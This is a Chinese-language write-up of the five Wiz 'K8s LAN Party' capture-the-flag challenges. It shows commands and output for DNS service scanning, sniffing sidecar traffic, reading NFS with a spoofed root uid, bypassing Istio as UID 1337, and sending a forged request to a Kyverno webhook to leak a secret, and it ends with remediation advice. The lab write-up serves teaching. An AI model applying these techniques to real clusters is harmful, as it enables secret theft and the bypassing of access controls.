K8S Lan Party(WIZ)

1. challenge 1

1.1. 知识点:

集群中利用 DNS 来发现 Service 具体原理 10.k8s-Service 资产发现

1.2. WP

先查看环境变量确认一部分service的网段

player@wiz-k8s-lan-party:~$ env
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
USER_ID=57f211f9-0a09-4a67-9fa3-3838d244bf6e
HISTSIZE=2048
PWD=/home/player
HOME=/home/player
KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443
HISTFILE=/home/player/.bash_history
TMPDIR=/tmp
TERM=xterm-256color
SHLVL=1
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1
KUBERNETES_SERVICE_HOST=10.100.0.1
KUBERNETES_PORT=tcp://10.100.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
HISTFILESIZE=2048
_=/usr/bin/env

KUBERNETES_SERVICE_HOST=10.100.0.1 获取到了IP 10.100.0.1
再利用环境中提供的 dnscan 工具扫描该网段

dnscan -subnet 10.100.0.1/16

扫描后发现了一个 Service 资产 10.100.136.254 getflag-service.k8s-lan-party.svc.cluster.local.

看名字就知道到是拿flag
直接curl

player@wiz-k8s-lan-party:~$ curl 10.100.136.254
wiz_k8s_lan_party{between-thousands-of-ips-you-found-your-northen-star}player@wiz-k8s-lan-party:~$
Warning

这里curl默认是80端口,如果不是80端口,可以尝试利用SRV记录寻找到服务对应的端口
详细利用看10.k8s-Service 资产发现

2. challenge 2

2.1. 知识点

Sidecar 容器与主容器共享相同的生命周期、资源和网络命名空间。延展来说同一个 Pod 里面的容器,
其他的命名空间都是隔离的,但是 Network 命名空间是公用的。

2.2. WP

既然共享了NetWork命名空间,我们先看一下当前pod的IP

player@wiz-k8s-lan-party:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: gre0@NONE: <NOARP> mtu 1476 qdisc noop state DOWN group default qlen 1000
    link/gre 0.0.0.0 brd 0.0.0.0
3: gretap0@NONE: <BROADCAST,MULTICAST> mtu 1462 qdisc noop state DOWN group default qlen 1000
    link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
4: erspan0@NONE: <BROADCAST,MULTICAST> mtu 1450 qdisc noop state DOWN group default qlen 1000
    link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
2927: ns-194f16@if2928: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 0e:7e:4b:ac:9d:20 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.168.12.109/31 scope global ns-194f16
       valid_lft forever preferred_lft forever
    inet6 fe80::c7e:4bff:feac:9d20/64 scope link 
       valid_lft forever preferred_lft forever

再看一下网络信息

player@wiz-k8s-lan-party:~$ netstat -noe
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      Timer
tcp        0      0 192.168.12.109:35812    10.100.171.123:80       TIME_WAIT   0          0          timewait (19.11/0/0)
tcp        0      0 192.168.12.109:54358    10.100.171.123:80       TIME_WAIT   0          0          timewait (29.14/0/0)
tcp        0      0 192.168.12.109:35796    10.100.171.123:80       TIME_WAIT   0          0          timewait (14.10/0/0)
tcp        0      0 192.168.12.109:50920    10.100.171.123:80       TIME_WAIT   0          0          timewait (39.17/0/0)
tcp        0      0 192.168.12.109:44242    10.100.171.123:80       TIME_WAIT   0          0          timewait (9.08/0/0)
tcp        0      0 192.168.12.109:60308    10.100.171.123:80       TIME_WAIT   0          0          timewait (49.20/0/0)
tcp        0      0 192.168.12.109:53058    10.100.171.123:80       TIME_WAIT   0          0          timewait (54.21/0/0)
tcp        0      0 192.168.12.109:53520    10.100.171.123:80       TIME_WAIT   0          0          timewait (0.00/0/0)
tcp        0      0 192.168.12.109:54354    10.100.171.123:80       TIME_WAIT   0          0          timewait (24.13/0/0)
tcp        0      0 192.168.12.109:50912    10.100.171.123:80       TIME_WAIT   0          0          timewait (34.16/0/0)
tcp        0      0 192.168.12.109:44226    10.100.171.123:80       TIME_WAIT   0          0          timewait (4.07/0/0)
tcp        0      0 192.168.12.109:53060    10.100.171.123:80       TIME_WAIT   0          0          timewait (59.24/0/0)
tcp        0      0 192.168.12.109:60306    10.100.171.123:80       TIME_WAIT   0          0          timewait (44.18/0/0)

可以发现我们当前的Pod 192.168.12.109 不断地向 10.100.171.123:80 发送TCP请求,这明显很可疑

我们看看是哪个进程在不断的发起请求。

player@wiz-k8s-lan-party:~$ ss -ap |grep 10.100.171.123
tcp   TIME-WAIT 0      0      192.168.12.109:59492  10.100.171.123:http       
tcp   TIME-WAIT 0      0      192.168.12.109:59082  10.100.171.123:http       
tcp   TIME-WAIT 0      0      192.168.12.109:45354  10.100.171.123:http       
tcp   TIME-WAIT 0      0      192.168.12.109:51518  10.100.171.123:http       
tcp   TIME-WAIT 0      0      192.168.12.109:56362  10.100.171.123:http       
tcp   TIME-WAIT 0      0      192.168.12.109:51520  10.100.171.123:http       
tcp   TIME-WAIT 0      0      192.168.12.109:48026  10.100.171.123:http       
tcp   TIME-WAIT 0      0      192.168.12.109:59506  10.100.171.123:http       
tcp   TIME-WAIT 0      0      192.168.12.109:45358  10.100.171.123:http       
tcp   TIME-WAIT 0      0      192.168.12.109:48014  10.100.171.123:http       
tcp   TIME-WAIT 0      0      192.168.12.109:59080  10.100.171.123:http       
tcp   TIME-WAIT 0      0      192.168.12.109:56360  10.100.171.123:http 

发现进程是空的,那这就说明不是我们当前Pod容器上的进程,而是当前Pod下另一个容器的进程。也就是提示中"隐形的Sidecar容器",

Tip

因为我们共享了network命名空间,所以可以看到流量数据,却看不到进程(因为Pid命名空间隔离了)

我们直接抓流量试试

player@wiz-k8s-lan-party:~$ tcpdump host 10.100.171.123 -A |grep wiz
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on ns-194f16, link-type EN10MB (Ethernet), snapshot length 262144 bytes
wiz_k8s_lan_party{good-crime-comes-with-a-partner-in-a-sidecar}

3. challenge 3

3.1. 知识点

nfs-cat 和 nfs-ls 的使用

k8s集群中NFS的作用

在集群中,可以通过 PV(PersistentVolume)PVC(PersistentVolumeClaim)对象来使用 NFS 作为持久性存储。
首先,管理员需要配置一个 NFS 服务器,将其挂载到集群的节点上。
然后,通过创建一个 PV 对象来描述 NFS 服务器上的存储,
并创建一个 PVC 对象来请求这个 PV。
Pod 可以通过 PVC 使用这个 NFS 存储来持久地存储数据。
NFS 在集群中的主要用途之一是提供共享存储,以便多个 Pod 可以访问和共享相同的数据

3.2. WP

查看当前挂载信息中 NFS 挂载,可得 NFS 服务器的地址和共享路径: fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com
NFS 共享被挂载到本地的目标目录 /efs

player@wiz-k8s-lan-party:~$ mount |grep nfs
fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/ on /efs type nfs4 (ro,relatime,vers=4.1,rsize=1048576,wsize=1048576,namlen=255,hard,noresvport,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.48.9,local_lock=none,addr=192.168.124.98)
#本地文件系统上的 /efs 目录被挂载到了 AWS 的 NFS 服务器上,
#这个 NFS 挂载是以只读方式挂载的,而且使用了 NFSv4.1 协议。

那我们查看本地的 /efs 就是在查看目标的 /

player@wiz-k8s-lan-party:/efs$ ls
flag.txt
player@wiz-k8s-lan-party:/efs$ cat flag.txt
cat: flag.txt: Permission denied

但是这个是只读的,所以这里是查看不了的

这里提示给了我们两个命令

  • nfs-ls 可以用于列出指定 NFS 共享文件系统中的文件和目录
  • nfs-cat 可以用于从指定 NFS 共享文件系统中读取文件内容

利用这个命令查看即可。

nfs-cat 'nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com//flag.txt?version=4.1&uid=0&gid=0'
Warning

这里需要指定nfs协议的版本,还有使用的用户id与用户组id,读取不了、

4. challenge 4

4.1. 知识点

在 Istio 中 1337 用户的流量不会通过 Envoy 中,从而可以绕过 Istio 的规则。
https://github.com/istio/istio/issues/4286

IStio

Istio​ 是一个开源的 ​服务网格(Service Mesh)​​ 平台,用于连接、保护、监控和管控微服务架构中的服务间通信。它通过透明的代理(基于 ​Envoy)与应用程序一起部署,无需修改应用代码即可提供流量管理、安全、可观测性等能力

4.2. WP

dnsscan发现到service服务的IP与域名10.100.224.159 istio-protected-pod-service.k8s-lan-party.svc.cluster.local.

dnscan -subnet 10.100.0.1/16

curl一下看看

root@wiz-k8s-lan-party:~# curl 10.100.224.159
RBAC: access deniedroot

权限不够

但是我们这里是一个 root@wiz-k8s-lan-party 与前面3题都不一样,当前是root权限,题目提示中也提到了。在 Istio 中 1337 用户的流量不会通过 Envoy (代理)中,不受到 istio 的网络策略管理的控制。具体风险分析 https://github.com/istio/istio/issues/4286

Envoy

在Istio中,Envoy通常部署为每个服务实例的代理。当服务 A 需要与服务 B 通信时,流量会经过 A 的 Envoy 代理,然后由 Envoy 路由到 B 的实例。这使得 Istio 能够实施流量管理策略,监控流量,并提供安全性和可观察性。

查看当前系统中所有用户以及其UID,发现存在 UID 为 1337 的用户 istio,切换到该用户,再重新 curl 一下那个没有权限访问的 Service,成功获取 flag。这些操作都是需要拥有容器中 root 权限的

root@wiz-k8s-lan-party:~# cat /etc/passwd |grep 1337
istio:x:1337:1337::/home/istio:/bin/sh
root@wiz-k8s-lan-party:~# su istio
$ curl 10.100.224.159
wiz_k8s_lan_party{only-leet-hex0rs-can-play-both-k8s-and-linux}$ 

5. challenge 5

5.1. wp

还是先dnsscan一下,扫一下服务

dnscan -subnet 10.100.*.*

10.100.86.210 -> kyverno-cleanup-controller.kyverno.svc.cluster.local.
10.100.126.98 -> kyverno-svc-metrics.kyverno.svc.cluster.local.
10.100.158.213 -> kyverno-reports-controller-metrics.kyverno.svc.cluster.local.
10.100.171.174 -> kyverno-background-controller-metrics.kyverno.svc.cluster.local.
10.100.217.223 -> kyverno-cleanup-controller-metrics.kyverno.svc.cluster.local.
10.100.232.19 -> kyverno-svc.kyverno.svc.cluster.local.

看下policy

apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: apply-flag-to-env
  namespace: sensitive-ns
spec:
  rules:
    - name: inject-env-vars
      match:
        resources:
          kinds:
            - Pod
      mutate:
        patchStrategicMerge:
          spec:
            containers:
              - name: "*"
                env:
                  - name: FLAG
                    value: "{flag}"

可以发现有一个 Kyverno 策略,所有在 sensitive-ns 命名空间下创建的 Pod,都会自动注入一个名为 FLAG 的环境变量,其值来自 Kubernetes Secret

Kyverno 是一个用于 Kubernetes 的工具,它帮助管理配置并在集群中执行策略。通过定义自定义资源定义(CRDs)的规则,它确保合规性和安全性,从而对资源管理和行为进行精确控制。

上面服务获取到其中一个名字是 kyverno-svc.kyverno.svc.cluster.local.
kyverno-svc.kyverno.svc.cluster.local 是 Kubernetes 集群内部用于访问 ​Kyverno 服务的 ​DNS 全限定域名

作用
  • 集群内通信​:其他 Pod 或服务(如 Admission Controller)通过该域名访问 Kyverno 的 API 或 Webhook。
  • 策略执行​:当 Kubernetes API Server 需要校验资源时,会通过此域名调用 Kyverno 的验证服务。

hint告诉了我们admission webhook 的请求方式,要使用 post 请求,设置 Content-Type: application/json 并对 admission.k8s.io API 组中的 AdmissionReview 对象进行序列化

AdmissionReview 对象 怎么生成:Title Unavailable | Site Unreachable

此外我们请求还要考虑到路径:

Hint

Kyverno 处理 admission webhook 请求的 HTTP 路径通常是 /validate 用于验证(validation)webhooks,和 /mutate 用于变更(mutation)webhooks。这意味着 Kyverno 在 Kubernetes 集群中注册了这些路径来接收和处理来自 Kubernetes API 服务器的 webhook 调用。当 Kubernetes API 服务器需要对资源进行验证或变更时,它会向 Kyverno 发送请求到这些路径。

然后我们创建一个 sensitive-ns namespace 的 pod ,路径应该是 /mutate
但是这里直接创建会报错:Title Unavailable | Site Unreachable

流程
Pasted image 20250423215041

Tip
  • 左侧框(起点)​​:
    • 事件​:用户/系统发起创建 Pod 的请求(kubectl apply 或 API 调用)。
    • 关键点​:请求首先经过 Kubernetes API Server 的 ​准入控制阶段​(Admission Control)。
  • 右侧框(终点)​​:
    • 事件​:API Server 返回响应,包含 ​已被修改的 Pod 定义
    • 关键点​:Pod 被注入了 FLAG 环境变量(通过 Kyverno 动态修改)。
  • 箭头标注​:
    • Kyverno svc​:代表请求经过 Kyverno 的 Service(kyverno-svc.kyverno.svc.cluster.local)处理,完成策略校验或资源修改。

首先我们需要发送一个 admission request,这里我们会用到一个工具 kube-review

这个工具可以将创建Pod的yaml文件直接转AdmissionReview请求json参数

首先创建一个pod.yaml

apiVersion: v1  
kind: Pod  
metadata:  
  name: sensitive-pod  
  namespace: sensitive-ns  
spec:  
  containers:  
  - name: nginx  
    image: nginx:latest

然后使用这个工具转成json

D:\tools\kube-review-windows-amd64>kube-review-windows-amd64.exe create pod.yaml
{
  "kind": "AdmissionReview",
  "apiVersion": "admission.k8s.io/v1",
  "request": {
    "uid": "58be2423-3579-429e-81eb-bcb30e16e763",
    "kind": {
      "group": "",
      "version": "v1",
      "kind": "Pod"
    },
    "resource": {
      "group": "",
      "version": "v1",
      "resource": "pods"
    },
    "requestKind": {
      "group": "",
      "version": "v1",
      "kind": "Pod"
    },
    "requestResource": {
      "group": "",
      "version": "v1",
      "resource": "pods"
    },
    "name": "sensitive-pod",
    "namespace": "sensitive-ns",
    "operation": "CREATE",
    "userInfo": {
      "username": "kube-review",
      "uid": "ac5e311a-7ed8-4fff-aebe-5bd900cf6975"
    },
    "object": {
      "kind": "Pod",
      "apiVersion": "v1",
      "metadata": {
        "name": "sensitive-pod",
        "namespace": "sensitive-ns",
        "creationTimestamp": null
      },
      "spec": {
        "containers": [
          {
            "name": "nginx",
            "image": "nginx:latest",
            "resources": {}
          }
        ]
      },
      "status": {}
    },
    "oldObject": null,
    "dryRun": true,
    "options": {
      "kind": "CreateOptions",
      "apiVersion": "meta.k8s.io/v1"
    }
  }
}

然后复制这个json保存到 pod.json
然后执行下面的命令

curl -X POST -H "Content-Type: application/json" --data @pod.json https://kyverno-svc.kyverno/mutate -k

执行这个命令后就会触发 mutating webhook (动态准入控制),然后创建一个pod,并且这个Pod里面会被注入一个flag的环境变量

然后我们就获取到Kyverno 动态准入控制器(Mutating Webhook)对 Pod 创建请求的处理结果,其中就包括Base64 编码的 JSON Patch,描述对 Pod 的修改(里面就有对pod注入flag环境变量)

player@wiz-k8s-lan-party:~$ curl -X POST -H "Content-Type: application/json" --data @pod.json https://kyverno-svc.kyverno/mutate -k
{"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{"uid":"58be2423-3579-429e-81eb-bcb30e16e763","kind":{"group":"","version":"v1","kind":"Pod"},"resource":{"group":"","version":"v1","resource":"pods"},"requestKind":{"group":"","version":"v1","kind":"Pod"},"requestResource":{"group":"","version":"v1","resource":"pods"},"name":"sensitive-pod","namespace":"sensitive-ns","operation":"CREATE","userInfo":{"username":"kube-review","uid":"ac5e311a-7ed8-4fff-aebe-5bd900cf6975"},"object":{"kind":"Pod","apiVersion":"v1","metadata":{"name":"sensitive-pod","namespace":"sensitive-ns","creationTimestamp":null},"spec":{"containers":[{"name":"nginx","image":"nginx:latest","resources":{}}]},"status":{}},"oldObject":null,"dryRun":true,"options":{"kind":"CreateOptions","apiVersion":"meta.k8s.io/v1"}},"response":{"uid":"58be2423-3579-429e-81eb-bcb30e16e763","allowed":true,"patch":"W3sib3AiOiJhZGQiLCJwYXRoIjoiL3NwZWMvY29udGFpbmVycy8wL2VudiIsInZhbHVlIjpbeyJuYW1lIjoiRkxBRyIsInZhbHVlIjoid2l6X2s4c19sYW5fcGFydHl7eW91LWFyZS1rOHMtbmV0LW1hc3Rlci13aXRoLWdyZWF0LXBvd2VyLXRvLW11dGF0ZS15b3VyLXdheS10by12aWN0b3J5fSJ9XX0sIHsicGF0aCI6Ii9tZXRhZGF0YS9hbm5vdGF0aW9ucyIsIm9wIjoiYWRkIiwidmFsdWUiOnsicG9saWNpZXMua3l2ZXJuby5pby9sYXN0LWFwcGxpZWQtcGF0Y2hlcyI6ImluamVjdC1lbnYtdmFycy5hcHBseS1mbGFnLXRvLWVudi5reXZlcm5vLmlvOiBhZGRlZCAvc3BlYy9jb250YWluZXJzLzAvZW52XG4ifX1d","patchType":"JSONPatch"}}player

解码后的结果就包含flag

[{"op":"add","path":"/spec/containers/0/env","value":[{"name":"FLAG","value":"wiz_k8s_lan_party{you-are-k8s-net-master-with-great-power-to-mutate-your-way-to-victory}"}]}, {"path":"/metadata/annotations","op":"add","value":{"policies.kyverno.io/last-applied-patches":"inject-env-vars.apply-flag-to-env.kyverno.io: added /spec/containers/0/env\n"}}]

5.2. 安全修复建议

  1. 使用网络策略(Network Policies)可能可以防止此类问题发生。​
  2. 准入控制器(Admission Controller)的 Webhook 不应被任意 Pod 轻易访问。​

6. 参考